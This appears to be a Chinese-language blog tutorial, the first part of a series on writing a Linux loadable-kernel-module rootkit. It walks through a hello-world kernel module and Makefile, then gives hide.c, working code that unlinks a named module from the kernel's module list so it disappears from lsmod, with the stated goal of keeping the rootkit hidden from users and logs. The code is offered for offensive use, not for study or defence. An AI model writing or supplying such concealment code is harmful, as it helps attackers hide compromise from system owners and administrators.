唉,一开始在纠结起个什么名字,感觉名字常常的很装逼,于是起了个这《手把手教你写LKM rookit》
我觉得: 你们觉得:。。。。。。
开始之前,我们先来理解一句话:一切的操作都是系统调用。系统通过陷入或者库的方式,让你跟内核的函数交互。当然啦,平时我们都处在用户态的情况下,系统调用调用的是内核态的函数,ps:这个系列完了,我们从内核级的rookit脱离出来,升级到bios级别的rootkit,哇卡卡~~
那么我在这傻了吧唧的讲了半天,什么是LKM,Loadable Kernel Modules,翻译过来就是“可加载内核模块程序”。
系统调用一般来处理什么I/O请求啦,进程管理啦,内存管理啊之类的,你想想原来你原来程序有个函数a,调用的是底层的函数b,你把函数b拦截了替换了一个函数c。。。。
我的系统调用号的定义在 /usr/include/asm-generic/unistd.h 文件中
#include <asm/bitsperlong.h> /* * This file contains the system call numbers, based on the * layout of the x86-64 architecture, which embeds the * pointer to the syscall in the table. * * As a basic principle, no duplication of functionality * should be added, e.g. we don't use lseek when llseek * is present. New architectures should use this file * and implement the less feature-full calls in user space. */ #ifndef __SYSCALL #define __SYSCALL(x, y) #endif #if __BITS_PER_LONG == 32 || defined(__SYSCALL_COMPAT) #define __SC_3264(_nr, _32, _64) __SYSCALL(_nr, _32) #else
hello.c这个以后会成为功能性的主文件
1 #include <linux/module.h> 2 #include <linux/init.h> 3 #include <linux/kernel.h> 4 #include <linux/list.h> 5 #include <linux/string.h> 6 #include <linux/moduleparam.h> 7 8 MODULE_LICENSE ("GPL"); 9 MODULE_AUTHOR("l137"); 10 MODULE_DESCRIPTION("test"); 11 12 13 14 static int fuck_init(void){ 15 printk(KERN_ALERT "come on baby!!"); 16 return 0; 17 } 18 19 static void fuck_exit(void){ 20 printk(KERN_ALERT "bye-bye "); 21 } 22 23 module_init(fuck_init); 24 module_exit(fuck_exit)
Makefile:
obj-m += hello.o all: make -C /lib/modules/`uname -r`/build M=`pwd` modules clean: make -C /lib/modules/`uname -r`/build M=`pwd` clean
make之后得到hello.ko文件sudo insmod hello.ko可加载此模块,用rmmod hello删除模块,用dmesg可以查看到我的模块的remove_init函数的执行情况。
[ 333.890125] come on baby!!
liet@kali:~/code/c/study/lkm$ lsmod | grep hello
hello 12417 0
至此你的第一个内核级的hello出来了,接下来我们来隐藏它,我们写的是rootkit,当然不能让别人lsmod就能看到,以后日志也不要有
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
hide.c
#include <linux/module.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/list.h> #include <linux/string.h> #include <linux/moduleparam.h> MODULE_LICENSE ("GPL"); MODULE_AUTHOR("l137"); MODULE_DESCRIPTION("test"); static char *mod_name = "hello"; module_param(mod_name, charp, 0); static int remove_init(void){ struct module *mod_head,*mod_counter; struct list_head *p; mod_head = &__this_module; list_for_each(p, &mod_head->list){ mod_counter = list_entry(p, struct module, list); if(strcmp(mod_counter->name, mod_name) == 0){ list_del(p); printk("removetree module %s ok! ",mod_name); return 0; } } printk("Can't find module %s. ",mod_name); return 0; } static void remove_exit(void){ printk(KERN_ALERT "hide say : bye-bye "); } module_init(remove_init); module_exit(remove_exit);
Makefile跟hello的Makefile一样,改个名字就行
当第一个模块添加后,添加sudo insmod hide.ko,
dmesg一下看到
[ 333.890125] come on baby!!removetree module hello ok!,
这个时候你lsmod发现你的hello不见了,其实它还在。。。。。。
后面我们会往这里面添加些好玩的功能,让这个rootkit强大起来!!